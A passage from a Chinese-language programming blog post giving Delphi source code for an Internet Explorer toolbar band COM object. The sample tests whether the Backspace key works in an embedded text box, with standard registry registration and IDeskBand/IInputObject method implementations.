  56.   TxtUrl.SetFocus;   
  57. end;   
  58.   
  59. end.   
  60.   
  61.     
  62.   
  63. 具体实现文件:   
  64.   
  65.     
  66.   
  67. unit UTestTextBox;   
  68.   
  69. {$WARN SYMBOL_PLATFORM OFF}  
  70.   
  71. interface  
  72.   
  73. uses  
  74.   Windows, ActiveX, Classes, ComObj, MSHTML, SHDocVw, ShellAPI, TlHelp32, ShlObj, fmIEBar,   
  75.   Registry, Messages;   
  76.   
  77. type  
  78.   TTestTextBoxFactory = class(TComObjectFactory)   
  79.   public  
  80.     procedure UpdateRegistry(Register: Boolean); override;   
  81.   end;   
  82.   TTestTextBox = class(TComObject, IDeskBand, IObjectWithSite, IPersistStreamInit, IInputObject)   
  83.   private  
  84.     HasFocus: Boolean;   
  85.     frmIE: TfrmIEBar;   
  86.     m_pSite:IInputObjectSite;   
  87.     m_hwndParent:HWND;   
  88.     m_hWnd:HWND;   
  89.     m_dwViewMode:Integer;   
  90.     m_dwBandID:Integer;   
  91.     SavedWndProc: TWndMethod;   
  92.   protected  
  93.     procedure FocusChange(bHasFocus: Boolean);   
  94.     procedure BandWndProc(var Message: TMessage);   
  95.   public  
  96.     {Declare IDeskBand methods here}  
  97.     function GetBandInfo(dwBandID, dwViewMode: DWORD; var pdbi: TDeskBandInfo):   
  98.          HResult; stdcall;   
  99.     function ShowDW(fShow: BOOL): HResult; stdcall;   
  100.     function CloseDW(dwReserved: DWORD): HResult; stdcall;   
  101.     function ResizeBorderDW(var prcBorder: TRect; punkToolbarSite: IUnknown;   
  102.        fReserved: BOOL): HResult; stdcall;   
  103.     function GetWindow(out wnd: HWnd): HResult; stdcall;   
  104.     function ContextSensitiveHelp(fEnterMode: BOOL): HResult; stdcall;   
  105.   
  106.     {Declare IObjectWithSite methods here}  
  107.     function SetSite(const pUnkSite: IUnknown ):HResult; stdcall;   
  108.     function GetSite(const riid: TIID; out site: IUnknown):HResult;stdcall;   
  109.   
  110.     {Declare IPersistStream methods here}  
  111.     function GetClassID(out classID: TCLSID): HResult; stdcall;   
  112.     function IsDirty: HResult; stdcall;   
  113.     function InitNew: HResult; stdcall;   
  114.     function Load(const stm: IStream): HResult; stdcall;   
  115.     function Save(const stm: IStream; fClearDirty: BOOL): HResult; stdcall;   
  116.     function GetSizeMax(out cbSize: Largeint): HResult; stdcall;   
  117.     {Declare IInputObject methods here}  
  118.     function UIActivateIO(fActivate: BOOL; var lpMsg: TMsg): HResult; stdcall;   
  119.     function HasFocusIO: HResult; stdcall;   
  120.     function TranslateAcceleratorIO(var lpMsg: TMsg): HResult; stdcall;   
  121.   end;   
  122.   
  123. const  
  124.   Class_TestTextBox: TGUID = '{9FC0A716-35A4-4ACB-8565-EAA1C2D9E0A1}';   
  125.   //以下是系统接口的IID  
  126.   IID_IUnknown: TGUID = (   
  127.       D1:$00000000;D2:$0000;D3:$0000;D4:($C0,$00,$00,$00,$00,$00,$00,$46));   
  128.   IID_IOleObject: TGUID = (   
  129.       D1:$00000112;D2:$0000;D3:$0000;D4:($C0,$00,$00,$00,$00,$00,$00,$46));   
  130.   IID_IOleWindow: TGUID = (   
  131.       D1:$00000114;D2:$0000;D3:$0000;D4:($C0,$00,$00,$00,$00,$00,$00,$46));   
  132.   
  133.   IID_IInputObjectSite : TGUID = (   
  134.       D1:$f1db8392;D2:$7331;D3:$11d0;D4:($8C,$99,$00,$A0,$C9,$2D,$BF,$E8));   
  135.   sSID_SInternetExplorer : TGUID = '{0002DF05-0000-0000-C000-000000000046}';   
  136.   sIID_IWebBrowserApp : TGUID= '{0002DF05-0000-0000-C000-000000000046}';   
  137.   
  138.   //面板所允许的最小宽度和高度。  
  139.   MIN_SIZE_X = 54;   
  140.   MIN_SIZE_Y = 23;   
  141.   EB_CLASS_NAME = 'BackSpace有效性测试';   
  142. implementation  
  143.   
  144. uses ComServ;   
  145.   
  146. { TTestTextBoxFactory }  
  147.   
  148. procedure TTestTextBoxFactory.UpdateRegistry(Register: Boolean);   
  149. var  
  150.   ClassID: string;   
  151.   a:Integer;   
  152. begin  
  153.    inherited UpdateRegistry(Register);   
  154.    if Register then  
  155.    begin  
  156.      ClassID:=GUIDToString(Class_TestTextBox);   
  157.      with TRegistry.Create do  
  158.      begin  
  159.        try  
  160.          //添加附加的注册表项  
  161.          RootKey:=HKEY_LOCAL_MACHINE;   
  162.          OpenKey('\SOFTWARE\Microsoft\Internet Explorer\Toolbar',False);   
  163.          a:=0;   
  164.          WriteBinaryData(GUIDToString(Class_TestTextBox),a,0);   
  165.          OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved',True);   
  166.          WriteString (GUIDToString(Class_TestTextBox), EB_CLASS_NAME);   
  167.          RootKey:=HKEY_CLASSES_ROOT;   
  168.          OpenKey('\CLSID\'+GUIDToString(Class_TestTextBox),False); 
  169.          WriteString('',EB_CLASS_NAME); 
  170.        finally 
  171.          Free; 
  172.        end; 
  173.      end; 
  174.    end 
  175.    else 
  176.    begin 
  177.      with TRegistry.Create do 
  178.      begin 
  179.        try 
  180.          RootKey:=HKEY_LOCAL_MACHINE; 
  181.          OpenKey('\SOFTWARE\Microsoft\Internet Explorer\Toolbar',False); 
  182.          DeleteValue(GUIDToString(Class_TestTextBox)); 
  183.          OpenKey('\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved',False); 
  184.          DeleteValue(GUIDToString(Class_TestTextBox)); 
  185.        finally 
  186.          Free; 
  187.        end; 
  188.      end; 
  189.    end; 
  190. end; 
  191.  
  192. { TTestTextBox } 
  193.  
  194. procedure TTestTextBox.BandWndProc(var Message: TMessage); 
  195. begin 
  196.   if (Message.Msg = WM_PARENTNOTIFY)  then 
  197.   begin 
  198.     HasFocus := True; 
  199.     FocusChange(HasFocus); 
  200.   end; 
  201.   SavedWndProc(Message); 
  202. end; 
  203.  
  204. function TTestTextBox.CloseDW(dwReserved: DWORD): HResult; 
  205. begin 
  206.   if Assigned(frmIE) then 
  207.   begin 
  208.     frmIE.Free; 
  209.     frmIE := nil; 
  210.   end; 
  211.   Result:= S_OK; 
  212. end; 
  213.  
  214. function TTestTextBox.ContextSensitiveHelp(fEnterMode: BOOL): HResult; 
  215. begin 
  216.   Result:= E_NOTIMPL; 
  217. end; 
  218.  
  219. procedure TTestTextBox.FocusChange(bHasFocus: Boolean); 
  220. begin 
  221.   if m_pSite <> nil then 
  222.     m_pSite.OnFocusChangeIS(Self, bHasFocus); 
  223. end; 
  224.  
  225. function TTestTextBox.GetBandInfo(dwBandID, dwViewMode: DWORD; 
  226.   var pdbi: TDeskBandInfo): HResult; 
  227. begin 
  228.   Result:=E_INVALIDARG; 
  229.   if not Assigned(frmIE) then 
  230.     frmIE:= TfrmIEBar.CreateParented(m_hwndParent); 
  231.   if(@pdbi<>nil)then 
  232.   begin 
  233.     m_dwBandID := dwBandID; 
  234.     m_dwViewMode := dwViewMode; 
  235.     if(pdbi.dwMask and DBIM_MINSIZE)<>0 then 
  236.     begin 
  237.       pdbi.ptMinSize.x := MIN_SIZE_X; 
  238.       pdbi.ptMinSize.y := MIN_SIZE_Y; 
  239.     end; 
  240.     if(pdbi.dwMask and DBIM_MAXSIZE)<>0 then 
  241.     begin 
  242.       pdbi.ptMaxSize.x := -1; 
  243.       pdbi.ptMaxSize.y := -1; 
  244.     end; 
  245.     if(pdbi.dwMask and DBIM_INTEGRAL)<>0 then 
  246.     begin 
  247.       pdbi.ptIntegral.x := 1; 
  248.       pdbi.ptIntegral.y := 1; 
  249.     end; 
  250.     if(pdbi.dwMask and DBIM_ACTUAL)<>0 then 
  251.     begin 
  252.       pdbi.ptActual.x := 0; 
  253.       pdbi.ptActual.y := 0; 
  254.     end; 
  255.     if(pdbi.dwMask and DBIM_MODEFLAGS)<>0 then 
  256.       pdbi.dwModeFlags := DBIMF_VARIABLEHEIGHT; 
  257.     if(pdbi.dwMask and DBIM_BKCOLOR)<>0 then 
  258.       pdbi.dwMask := pdbi.dwMask and (not DBIM_BKCOLOR); 
  259.   end; 
  260. end; 
  261.  
  262. function TTestTextBox.GetClassID(out classID: TCLSID): HResult; 
  263. begin 
  264.   ClassID:= Class_TestTextBox; 
  265.   Result:=S_OK; 
  266. end; 
  267.  
  268. function TTestTextBox.GetSite(const riid: TIID; 
  269.   out site: IInterface): HResult; 
  270. begin 
  271.   if Assigned(m_pSite) then 
  272.     Result := m_pSite.QueryInterface(riid, site) 
  273.   else 
  274.     Result := E_FAIL; 
  275. end; 
  276.  
  277. function TTestTextBox.GetSizeMax(out cbSize: Largeint): HResult; 
  278. begin 
  279.   Result := E_NOTIMPL; 
  280. end; 
  281.  
  282. function TTestTextBox.GetWindow(out wnd: HWnd): HResult; 
  283. begin 
  284.   Wnd := frmIE.Handle; 
  285.   SavedWndProc := frmIE.WindowProc; 
  286.   frmIE.WindowProc := BandWndProc; 
  287.   Result := S_OK; 
  288. end; 
  289.  
  290. function TTestTextBox.HasFocusIO: HResult; 
  291. begin 
  292.   if Assigned(frmIE) and (frmIE.Active) then 
  293.   begin 
  294.     Result := S_OK; 
  295.   end 
  296.   else 
  297.   begin 
  298.     Result := E_FAIL; 
  299.   end; 
  300. end; 
  301.  
  302. function TTestTextBox.InitNew: HResult; 
  303. begin 
  304.   Result := E_NOTIMPL; 
  305. end; 
  306.  
  307. function TTestTextBox.IsDirty: HResult; 
  308. begin 
  309.   Result:=S_FALSE; 
  310. end; 
  311.  
  312. function TTestTextBox.Load(const stm: IStream): HResult; 
  313. begin 
  314.   Result:=S_OK; 
  315. end; 
  316.  
  317. function TTestTextBox.ResizeBorderDW(var prcBorder: TRect; 
  318.   punkToolbarSite: IInterface; fReserved: BOOL): HResult; 
  319. begin 
  320.   Result:=E_NOTIMPL; 
  321. end; 
  322.  
  323. function TTestTextBox.Save(const stm: IStream; fClearDirty: BOOL): HResult; 
  324. begin 
  325.   Result:=S_OK; 
  326. end; 
  327.  
  328. function TTestTextBox.SetSite(const pUnkSite: IInterface): HResult; 
  329. var 
  330.   pOleWindow:IOleWindow; 
  331.   pOLEcmd:IOleCommandTarget; 
  332.   pSP:IServiceProvider; 
  333.   rc:TRect; 
  334. begin 
  335.   if Assigned(pUnkSite) then 
  336.   begin 
  337.     m_hwndParent := 0; 
  338.     m_pSite:=pUnkSite as IInputObjectSite; 
  339.     pOleWindow := PunkSIte as IOleWindow; 
  340.     //获得父窗口IE面板窗口的句柄 
  341.     pOleWindow.GetWindow(m_hwndParent); 
  342.     if(m_hwndParent=0)then 
  343.     begin 
  344.        Result := E_FAIL; 
  345.        exit; 
  346.     end; 
  347.     //获得父窗口区域 
  348.     GetClientRect(m_hwndParent, rc); 
  349.     if not Assigned(frmIE) then 
  350.     begin 
  351.        //建立TIEForm窗口,父窗口为m_hwndParent 
  352.        frmIE:= TfrmIEBar.CreateParented(m_hwndParent); 
  353.        m_Hwnd:= frmIE.Handle; 
  354.        SetWindowLong(frmIE.Handle, GWL_STYLE, GetWindowLong(frmIE.Handle, 
  355.           GWL_STYLE) Or WS_CHILD); 
  356.        //根据父窗口区域设置窗口位置 
  357.        with frmIE do 
  358.        begin 
  359.           Left :=rc.Left; 
  360.           Top:=rc.top; 
  361.           Width:=rc.Right - rc.Left; 
  362.           Height:=rc.Bottom - rc.Top; 
  363.        end; 
  364.        frmIE.Visible := True; 
  365.        //获得与浏览器相关联的Webbrowser对象。 
  366.        pOLEcmd:=pUnkSite as IOleCommandTarget; 
  367.        pSP:=pOLEcmd as  IServiceProvider; 
  368.        if Assigned(pSP)then 
  369.        begin 
  370.          pSP.QueryService(IWebbrowserApp, IWebbrowser2, frmIE.IEThis); 
  371.        end; 
  372.     end; 
  373.   end; 
  374.   Result := S_OK; 
  375. end; 
  376.  
  377. function TTestTextBox.ShowDW(fShow: BOOL): HResult; 
  378. begin 
  379.   HasFocus := fShow; 
  380.   FocusChange(HasFocus); 
  381.   Result := S_OK; 
  382. end; 
  383.  
  384. function TTestTextBox.TranslateAcceleratorIO(var lpMsg: TMsg): HResult; 
  385. begin 
  386.   if (lpMsg.wParam <> VK_TAB) then 
  387.   begin 
  388.     TranslateMessage(lpMsg); 
  389.     DispatchMessage(lpMsg); 
  390.     Result := S_OK; 
  391.   end 
  392.   else 
  393.   begin 
  394.     Result := S_FALSE; 
  395.   end; 
  396. end; 
  397.  
  398. function TTestTextBox.UIActivateIO(fActivate: BOOL; 
  399.   var lpMsg: TMsg): HResult; 
  400. begin 
  401.   HasFocus := fActivate; 
  402.   if HasFocus then 
  403.     frmIE.SetFocus; 
  404.   Result := S_OK; 
  405. end; 
  406.  
  407. initialization 
  408.   TTestTextBoxFactory.Create(ComServer, TTestTextBox, Class_TestTextBox, 
  409.     'BackSpace有效性测试', '测试输入框中的BackSpace', ciMultiInstance, tmApartment);   
  410. end.  

文章来源:http://mailysf.blog.zj.com/d-143742.html

  1. 1
  2. 2
  3. 3